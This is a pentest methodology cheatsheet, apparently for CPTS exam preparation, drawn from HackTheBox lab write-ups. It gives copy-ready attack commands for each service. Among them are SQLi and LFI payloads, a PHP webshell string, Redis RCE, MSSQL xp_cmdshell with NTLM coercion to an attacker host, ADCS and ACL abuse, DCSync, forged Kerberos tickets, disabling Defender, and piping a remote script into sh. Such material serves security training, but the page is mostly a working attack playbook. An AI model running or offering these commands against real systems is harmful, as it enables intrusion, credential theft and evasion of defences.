FLOW^:Pentest Workflow

Attack Flow Guide

Attack Flow Guide — copy-ready methodology and commands.

intermediateupdated 2026-07-18

[!abstract] > ABOUT_THIS_GUIDE A working playbook, not just diagrams. For every service you meet, it tells you what to look for, the commands to enumerate it, and the commands to test/exploit it. Built from 16 0xdf writeups (the CPTS-prep list). Command syntax reference lives in Most-Used-Commands. Set these first and every command below just works:

export IP=10.10.11.x           # target
export TARGET=$IP
export DOMAIN=domain.htb
export DC=dc01.$DOMAIN
export LHOST=10.10.14.x        # your tun0 (ip -br a show tun0)

// THE_GOLDEN_RULES

[!tip]

  1. Enumerate, don’t guess. Every box rewarded reading the loot (PDFs, notes, README, git history, images) over exploit-hunting.
  2. New identity = restart enumeration. Cracked a hash / reset a password / read a cred? Re-run BloodHound as that principal, re-spray it across SMB+WinRM, re-check ADCS. Boxes chain 4-7 identities.
  3. Clock skew kills Kerberos → sudo ntpdate -u $DC before every Kerberos/certipy step.
  4. NTLM disabled (NTLM:False / STATUS_NOT_SUPPORTED) → auth with -k + a ccache.
  5. First 5 commands on every shell before anything else.
  6. FTP → binary mode before pulling KeePass/DB files or they corrupt.

// HIGH_LEVEL_FLOW

High-level attack flowLR
SETUP + RECON PER-SERVICE ENUM(this guide) FOOTHOLD CREDS SHELL / AUTH POST-FOOTHOLD ENUM Escalate? DOMAIN ADMIN ROOT / FLAGS ADCS/deleg/ACL local priv loop w/ new creds

// PHASE_0 — SETUP

[!terminal]+ Run these on every box before anything else

# Full TCP, then service scan the open ports
rustscan -a $IP -u 50000 -r 1-65535 -- -sCV -oA ./recon/target
# (Windows/no-ping): rustscan -a $IP -- -Pn -sCV --max-retries 3 -T4
# two-stage nmap alternative:
ports=$(nmap -p- --min-rate 10000 --open -oG - $IP | grep -oP '\d+(?=/open)' | paste -sd,)
nmap -p $ports -sCV -Pn $IP -oA ./recon/detailed
sudo nmap -sU --top-ports 50 $IP           # UDP: DNS/SNMP/NFS matter

# Populate /etc/hosts (grab domain + hostname)
sudo nxc smb $IP --generate-hosts-file /etc/hosts

# AD box only:
sudo ntpdate -u $DC                        # fix clock skew (Kerberos)
nxc smb $DC --generate-krb5-file krb5.conf && sudo cp krb5.conf /etc/krb5.conf

[!tip] > WHAT THE PORTS TELL YOU

  • 53+88+389+445+636+3268+5985+9389 = Windows Domain Controller.
  • 445 alone + 3389 + SSH-for-Windows = Windows member/standalone (Media).
  • 2049(nfs), 6379(redis), 1433(mssql), 25(smtp), 6022(go-ssh) = service to raid.
  • TTL 127 = Windows one hop, TTL 63/64 = Linux.
  • Two SSH ports / 172.x IPs in DNS = containers in play (Craft, Ghost, Snoopy).

// SERVICE PLAYBOOKS

Work each open service. For every one: look-for → enumerate → test.

> SMB — 445 / 139

[!info] Look for: null/guest access, non-default shares (IT, Development, Finance, profiles$, CertEnroll), writable shares, files (PDFs, KeePass, xlsx, Ansible, scripts), SMB signing off (relay potential), the domain + hostname.

[!terminal]+ Enumerate

nxc smb $IP                                   # OS, domain, hostname, signing, SMBv1, NTLM state
nxc smb $IP -u '' -p '' --shares             # null session
nxc smb $IP -u guest -p '' --shares
nxc smb $IP -u oxdf -p '' --shares           # bogus creds sometimes list shares (Authority)
nxc smb $DC -u user -p pass --shares --users --rid-brute --pass-pol
smbmap -H $IP -u user -p pass -r             # recursive listing w/ perms
smbclient -N -L //$IP                        # anon share list

[!terminal]+ Test / loot

smbclient //$IP/IT -U "$DOMAIN/user%pass"    # browse a share
# Kerberos-only host: smbclient -U "$DOMAIN/user%pass" --realm=$DOMAIN //$DC/IT
nxc smb $IP -u user -p pass -M spider_plus   # auto-loot files
# writable share = drop a coercion payload (see NTLM-coercion below)

[!warning] NTLM:False = NTLM disabled, use Kerberos everywhere (-k, getTGT, smbclient.py -k). Seen on VulnCicada and Voleur.


> LDAP — 389 / 636 / 3268

[!info] Look for: domain naming context, user list + descriptions (passwords in descriptions), MachineAccountQuota, gMSA accounts, ADCS objects, pre-created attributes.

[!terminal]+ Enumerate

nxc ldap $DC -u user -p pass                          # confirm auth (add -k if NTLM off)
nxc ldap $DC -u user -p pass --users --groups
nxc ldap $DC -u user -p pass --users-export users.txt # feed spraying
nxc ldap $DC -u user -p pass -M maq                   # MachineAccountQuota (0 = no fake computers)
nxc ldap $DC -u user -p pass --gmsa                   # gMSA readable? -> NT hash
ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb" > ldap.txt
ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd  # LAPS
enum4linux-ng -A $IP

[!tip] Description-field and pre-set attributes leak creds. Always dump users with descriptions.


> Kerberos — 88

[!info] Look for: valid usernames, AS-REP roastable users (no pre-auth), kerberoastable SPNs, clock skew.

[!terminal]+ Enumerate + test

kerbrute userenum -d $DOMAIN --dc $DC /opt/SecLists/Usernames/xato-net-10-million-usernames.txt
# ASREPRoast (no creds needed if you have a userlist) -> hashcat -m 18200
impacket-GetNPUsers $DOMAIN/ -dc-ip $IP -usersfile users.txt -no-pass
# Kerberoast (needs creds) -> hashcat -m 13100
impacket-GetUserSPNs -request -dc-ip $IP "$DOMAIN/user:pass" -outputfile kerb.hash
# get a TGT / ccache for Kerberos-only auth
impacket-getTGT $DOMAIN/user:pass ; export KRB5CCNAME=user.ccache
kinit user            # alternative, puts ticket in default location

[!warning] KDC_ERR_PREAUTH_FAILED = wrong password. KDC_ERR_C_PRINCIPAL_UNKNOWN = user doesn’t exist / deleted (recover via AD Recycle Bin). KRB_AP_ERR_SKEW = fix clock.


> RPC / MSRPC — 135 / 593

[!terminal]+ Enumerate

rpcclient -U "" -N $IP                       # then: enumdomusers, querydispinfo, enumdomgroups
rpcclient -U "user%pass" $IP -c 'enumdomusers'
impacket-rpcdump $IP | grep -i 'MS-'         # spot coercion surfaces (EFSR, RPRN, DFS)

> DNS — 53 (TCP+UDP)

[!info] Look for: the domain name, zone-transfer allowed, extra subdomains/records, ability to add records (dynamic update), TSIG/rndc keys leaked elsewhere.

[!terminal]+ Enumerate + test

dig +noall +answer @$IP domain.htb           # does it resolve?
dig +noall +answer @$IP -x $IP               # reverse -> domain
dig axfr domain.htb @$IP                      # ZONE TRANSFER (Trick, Snoopy)
# add a record as any domain user (feeds Responder coercion — Ghost)
python dnstool.py -u "$DOMAIN\\user" -k -a add -r bitbucket --zone $DOMAIN --data $LHOST -dns-ip $IP $DC
# dynamic update with a leaked TSIG/rndc key (Snoopy)
nsupdate -k rndc.key <<EOF
server $IP
zone domain.htb
update add mail.domain.htb 86400 A $LHOST
send
EOF

> HTTP / HTTPS — 80 / 443 / 8008 / 8443 / 50000

[!info] Look for: the tech stack (headers, 404 page, cookies, X-Powered-By), vhosts, hidden params, known software + version, login forms (SQLi/LDAPi), file/page= params (LFI), upload forms, robots.txt, git/source exposure, TLS cert names (extra hostnames).

[!terminal]+ Enumerate

whatweb http://$IP ; curl -sI http://$IP     # stack + headers
# VHOST fuzz (always) — filter the default size with -ac
ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
# dirs — -x for extension, lowercase list on IIS
feroxbuster -u http://$IP -x php,aspx,html -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
# hidden GET params (StreamIO ?debug=)
ffuf -u "http://$IP/admin/?FUZZ=" -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs <default>
# TLS cert SANs (extra hostnames)
openssl s_client -connect $IP:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

[!terminal]+ Test by app type

# LOGIN FORM -> SQLi bypass / LDAP injection
#   user:  admin' or 1=1;-- -      or      *   /   pass: *
sqlmap -r login.req --batch --technique B --level 5 --threads 10
sqlmap -r login.req --batch --file-read=/etc/passwd
#   MSSQL union creds:  ' union select 1,CONCAT(username,':',password),3,4,5,6 from users;-- -

# page=FILE param -> LFI
ffuf -u "http://$IP/index.php?page=FUZZ" -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -mc 200 -ac
#   str_replace('../') bypass:  ?page=....//....//etc/passwd
#   PHP source leak:            ?page=php://filter/convert.base64-encode/resource=index.php
#   RCE via mail/log poisoning: swaks body '<?php system($_REQUEST["cmd"]);?>' then include mailspool

# ViewState / ASP.NET (Pov) -> leak web.config keys via file-read, then:
ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg=AES --decryptionkey=<k> \
  --validationalg=SHA1 --validationkey=<k> --path=/portfolio -c "<cmd>"

# KNOWN SOFTWARE
#   Jenkins (50000): Manage Jenkins > Script Console: println "cmd /c whoami".execute().text
#   Gitea/Bitbucket: log in, read repos + commit history for creds/keys/source
#   Ghost/CMS: /ghost admin, check version for CVEs
#   Upload form: try webshell; if "must be Windows Media Player" -> .wax NTLM leak (Media)

[!tip] Read the 404 page and headers to fingerprint (IIS vs nginx vs Express/Next.js). Client-rendered/Next.js apps hide logic in /_next/static/chunks/*.js — read them.


> NFS — 2049 / 111

[!terminal]+

showmount -e $IP                              # list exports
sudo mount -t nfs $IP:/profiles /mnt -o nolock
find /mnt -ls                                 # hunt readable files (images with stickynote creds — VulnCicada)

> Redis — 6379

[!terminal]+

redis-cli -h $IP                              # keys *, info, config get dir
# RCE via SSH-key write (Postman):
config set dir /var/lib/redis/.ssh
config set dbfilename authorized_keys
# (echo -e "\n\n"; cat id.pub; echo -e "\n\n") | redis-cli -h $IP -x set x
save

> FTP — 21

[!terminal]+

ftp anonymous@$IP        # nmap ftp-anon flags this; grab everything
# ALWAYS: binary  (before pulling .kdbx / .psafe3 / DB files — Redelegate)

Look for KeePass/Password-Safe DBs, backup files, notes with password policy hints (SeasonYear!).


> SMTP — 25

[!terminal]+

smtp-user-enum -m VRFY -U /opt/SecLists/Usernames/names.txt $IP 25   # valid users
swaks --to user@$DOMAIN --from x --server $IP --body "test"          # send mail (LFI mail-poison)

> MSSQL — 1433

[!terminal]+

nxc mssql $IP -u sa -p pass --local-auth      # SQL logins need --local-auth
mssqlclient.py user:pass@$IP                   # add -windows-auth for domain
# in shell:
enum_db ; enable_xp_cmdshell ; xp_cmdshell whoami
EXEC xp_dirtree '\\'$LHOST'\share'            # coerce NetNTLMv2 (run Responder)
# linked servers (Ghost): SELECT * FROM OPENQUERY("PRIMARY",'select CURRENT_USER')
#   impersonate sa across link -> enable + xp_cmdshell:
#   EXECUTE('EXECUTE AS LOGIN=''sa''; exec sp_configure "xp_cmdshell",1;reconfigure;exec xp_cmdshell "cmd"') AT [PRIMARY]
# RID-brute domain users through MSSQL (Redelegate): msf mssql_enum_domain_accounts

> WinRM — 5985 / 5986

[!terminal]+

nxc winrm $IP -u user -p pass                 # (Pwn3d!) = shell available
evil-winrm -i $IP -u user -p pass
evil-winrm -i $IP -u user -H <NThash>         # pass-the-hash
export KRB5CCNAME=user.ccache; evil-winrm -i $DC -r $DOMAIN   # kerberos

Requires membership in Remote Management Users. If auth works on SMB but not WinRM, the account isn’t in that group — use RunasCs or find the WinRM user.


> ADCS — check as EVERY new principal

[!info] Look for: a CA at all, web enrollment over HTTP (ESC8), templates where you have enroll rights, EnrolleeSuppliesSubject + client-auth (ESC1), v1 schema templates (ESC15), security-extension-disabled CA (ESC16).

[!terminal]+ Enumerate

uv tool upgrade certipy-ad                     # ESC15/16 detection is recent
nxc ldap $DC -u user -p pass -M adcs           # is there a CA?
certipy find -u user@$DOMAIN -p pass -dc-ip $IP -vulnerable -stdout
certipy find -u user@$DOMAIN -hashes :<NT> -dc-ip $IP -vulnerable -stdout
certipy find -u user@$DOMAIN -p pass -dc-ip $IP -stdout   # ALL templates (re-read remarks per principal)

// POST-FOOTHOLD ENUMERATION (every shell, every time)

[!terminal]+ Windows — first commands

whoami /all                       # groups AND privileges (SeImpersonate/SeDebug/SeBackup/SeEnableDelegation)
net user %username% /domain
systeminfo ; ipconfig /all
cmdkey /list                      # stored creds
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  # autologon
dir -recurse *.config,*.xml,*.ps1 | select-string -pattern "password"
# loot: connection.xml (Import-CliXml), Firefox key4.db+logins.json (firepwd),
#       .kdbx/.psafe3, DPAPI creds, gMSA, LAPS, registry/NTDS backups (WSL /mnt/c)

[!terminal]+ Linux — first commands

id; sudo -l                        # sudo -l FIRST — instant wins on this box list
find / -perm -u=s -type f 2>/dev/null   # SUID -> GTFOBins
cat /etc/crontab; ls -la /etc/cron.*
env                                # VAULT_TOKEN etc (Craft)
ls -la ~/.ssh /root/.ssh 2>/dev/null    # keys, ControlMaster sockets (Ghost)
curl -L .../linpeas.sh | sh

[!warning] After ANY new credential/hash/shell → go back to the service playbooks as that principal. New BloodHound, new spray, new ADCS check. This single habit solves TombWatcher, Voleur, Administrator, Ghost.


// BLOODHOUND — run at every principal

[!terminal]+

# password
bloodhound-ce-python -d $DOMAIN -u user -p pass -ns $IP -c All --zip
# kerberos
bloodhound-ce-python -d $DOMAIN -u user -k -no-pass -ns $IP -c All --zip
# rusthound-ce also collects ADCS the python collector may miss — run both
rusthound-ce -d $DOMAIN -u user -p pass -c All --zip

Mark every owned account, run “Shortest paths from Owned objects”. Look at Outbound Object Control for each: GenericWrite, GenericAll, WriteOwner, ForceChangePassword, AddSelf, ReadGMSAPassword, DCSync, WriteDacl.


// ESCALATION — ACL ABUSE

[!info] What each ACL gives you (from BloodHound outbound control):

Right over targetAbuseCommand
ForceChangePasswordreset passwordnet rpc password target -U "$DOMAIN/me%pw" -S $IP
GenericWrite / WriteSPNtargeted kerberoast or shadow credtargetedKerberoast.py -d $DOMAIN -u me -p pw / certipy shadow auto -account target
GenericAll (user)reset pw / shadow credbloodyAD ... set password target 'P@ss1!'
WriteOwnerown → grant self GenericAll → abusebloodyAD ... set owner target me then add genericAll target me
AddSelf / GenericAll (group)join group, inherit its rightsbloodyAD ... add groupMember 'Group' me
ReadGMSAPasswordread managed passwordnxc ldap $DC -u me -p pw --gmsa
DCSync / WriteDacl on domaindump all hashessecretsdump.py "$DOMAIN/me:pw@$DC" -just-dc

[!terminal]+ Shadow credential (needs ADCS/PKINIT) — returns TGT + NT hash

certipy shadow auto -u me@$DOMAIN -p pw -account target

// ESCALATION — ADCS (certipy)

ESCTrigger (what to look for)ExploitBox
ESC1EnrolleeSuppliesSubject + client-auth + you can enrollcertipy req ... -template T -upn administrator@$DOMAIN → certipy auth -pfxAuthority
ESC8Web enrollment over HTTP enabledcoerce DC (PetitPotam) + certipy relay -target http://$DC -template DomainController → machine certVulnCicada
ESC15v1 schema + EnrolleeSuppliesSubject, unpatched (CVE-2024-49019)certipy req ... -application-policies 'Certificate Request Agent' → ESC3 on-behalf-ofTombWatcher
ESC16Security extension disabled CA-widehijack controlled acct UPN → certipy req → restore UPN → certipy authFluffy

[!terminal]+ ESC1 example + PassTheCert fallback

# if MachineAccountQuota>0 and template = Domain Computers, add a fake computer first:
addcomputer.py "$DOMAIN/user:pass" -method LDAPS -computer-name PWN$ -computer-pass Pwn123 -dc-ip $IP
certipy req -username 'PWN$' -password Pwn123 -ca CA-NAME -dc-ip $IP -template T -upn administrator@$DOMAIN -dns $DOMAIN
certipy auth -pfx administrator.pfx -dc-ip $IP        # if PKINIT fails (KDC_ERR_PADATA_TYPE_NOSUPP):
certipy cert -pfx administrator.pfx -nocert -out admin.key ; certipy cert -pfx administrator.pfx -nokey -out admin.crt
python passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain $DOMAIN -dc-ip $IP
#   ldap-shell: add_user_to_group me administrators  /  set_rbcd  /  write_gpo_dacl

// ESCALATION — DELEGATION

[!terminal]+ Constrained delegation via SeEnableDelegationPrivilege (Redelegate)

Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True
Set-ADObject -Identity "CN=FS01,CN=Computers,DC=domain,DC=htb" -Add @{"msDS-AllowedToDelegateTo"="ldap/$DC"}
nxc smb $DC -u me -p pw -M change-password -o USER='FS01$' NEWPASS=Pw123
getST.py "$DOMAIN/FS01\$:Pw123" -spn ldap/$DC -impersonate dc
KRB5CCNAME=dc@ldap_$DC@*.ccache secretsdump.py -k -no-pass $DC   # DCSync as DC

RBCD (GenericWrite/All over a computer): impacket-rbcd -delegate-from 'ATK$' -delegate-to 'TARGET$' -action write "$DOMAIN/user:pass" then getST.py -impersonate administrator.


// ESCALATION — LOCAL PRIVESC

[!tip]+ Windows privilege → exploit (from whoami /priv)

  • SeImpersonate → GodPotato / PrintSpoofer. Defender eating GodPotato? Compile EfsPotato on-box (csc.exe EfsPotato.cs -nowarn:1691,618). Service account with stripped privs? FullPowers first. (Media, Ghost)
  • SeDebug → meterpreter migrate into a SYSTEM proc / psgetsys.ps1 (Pov)
  • SeBackup/SeRestore → read SAM+NTDS
  • ADS hidden data → dir /R, more < file.txt:root.txt (Jeeves)
  • Junction point → point a service’s write dir at the web root, upload webshell (Media)
  • Disable AV once you can: Set-MpPreference -DisableRealtimeMonitoring $True

[!tip]+ Linux privilege → exploit (sudo -l first)

  • fail2ban action rewrite → SUID bash (Trick)
  • git apply symlink CVE-2023-23946 (Snoopy)
  • clamscan --file-list <file> file-read, or XXE CVE-2023-20052 (Snoopy)
  • Webmin CVE-2019-12840 as root (Postman)
  • HashiCorp Vault SSH OTP: vault ssh -mode=otp -role=root_otp root@127.0.0.1 (Craft)
  • Password reuse via su (Postman)

// ESCALATION — CROSS-DOMAIN / FOREST (Ghost)

[!terminal]+ After SYSTEM on a child DC

Get-DomainTrust                                   # confirm bidirectional/within-forest
mimikatz "lsadump::dcsync /all /csv" exit         # grab TRUST$ + krbtgt
# forged inter-domain trust ticket (child -> parent Enterprise Admins)
ticketer.py -nthash <TRUST$ NT> -domain-sid <child SID> -domain child.dom \
  -extra-sid <parent SID>-519 -spn krbtgt/parent.dom dummy
KRB5CCNAME=dummy.ccache getST.py -k -no-pass -spn cifs/$DC child.dom/dummy@parent.dom
# or golden ticket:
Rubeus.exe golden /aes256:<krbtgt aes> /ldap /user:Administrator /sids:<parent SID>-519 /ptt
# ADFS Golden SAML (as adfs gMSA): ADFSDump.exe -> ADFSpoof.py -> forge SAMLResponse

// DECISION_TREE — “I’M STUCK”

[!question]+ > WHAT NOW?

  • Just got a cred? → BloodHound as that user, spray SMB+WinRM, re-check ADCS. (Answer is almost always here.)
  • Kerberos error? → ntpdate for skew. PRINCIPAL_UNKNOWN = deleted account → AD Recycle Bin (Restore-ADObject / nxc -M tombstone).
  • Auth SMB but not WinRM? → not in Remote Management Users → RunasCs.
  • certipy finds nothing? → update it; re-run as every principal (different enroll rights).
  • Web app empty? → vhost fuzz, hidden ?FUZZ= params, read source via LFI/PHP filter, check git history + JS chunks.
  • In a container? → /root/.ssh ControlMaster sockets (Ghost), .dockerenv, env vars, mounted volumes, /mnt/c (WSL — Voleur).
  • NTLM:False? → everything with -k + ccache.

// COMMON_PITFALLS

[!warning]+ Time-wasters seen across the 16 boxes

  • Clock skew breaking Kerberos silently → ntpdate.
  • FTP ASCII mode corrupting KeePass/DB downloads → binary first.
  • Machine-account NetNTLMv2 (DC$) is effectively uncrackable — don’t burn hours (StreamIO).
  • WAF keyword blocks on SQLi (0x, all, null, *) — rephrase, don’t quit.
  • Relative-path LFI killed by str_replace → use ....//.
  • BloodHound-python hanging = DNS round-robin returning an unreachable internal IP → re-run or pin the DC IP (Ghost).
  • Defender eating tools → Set-MpPreference when possible, or EfsPotato/manual.

// MACHINE_INDEX

Full technique map: Most-Used-Commands.

TierBoxes
EasyFluffy (Win), Trick (Lin), Postman (Lin)
MediumJeeves, Pov, TombWatcher, Media, VulnCicada, StreamIO, Voleur, Administrator, Authority (Win) · Craft (Lin)
HardRedelegate (Win) · Snoopy (Lin)
InsaneGhost (Win)

// REFERENCES

[!info]+ All 16 writeups: 0xdf · Certipy Wiki (ESC) · The Hacker Recipes · HackTricks AD · GTFOBins · LOLBAS · Command reference: Most-Used-Commands


#Methodology #Attack-Flow #CPTS-Prep #AD #ADCS #Enumeration #Workflow #HTB

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.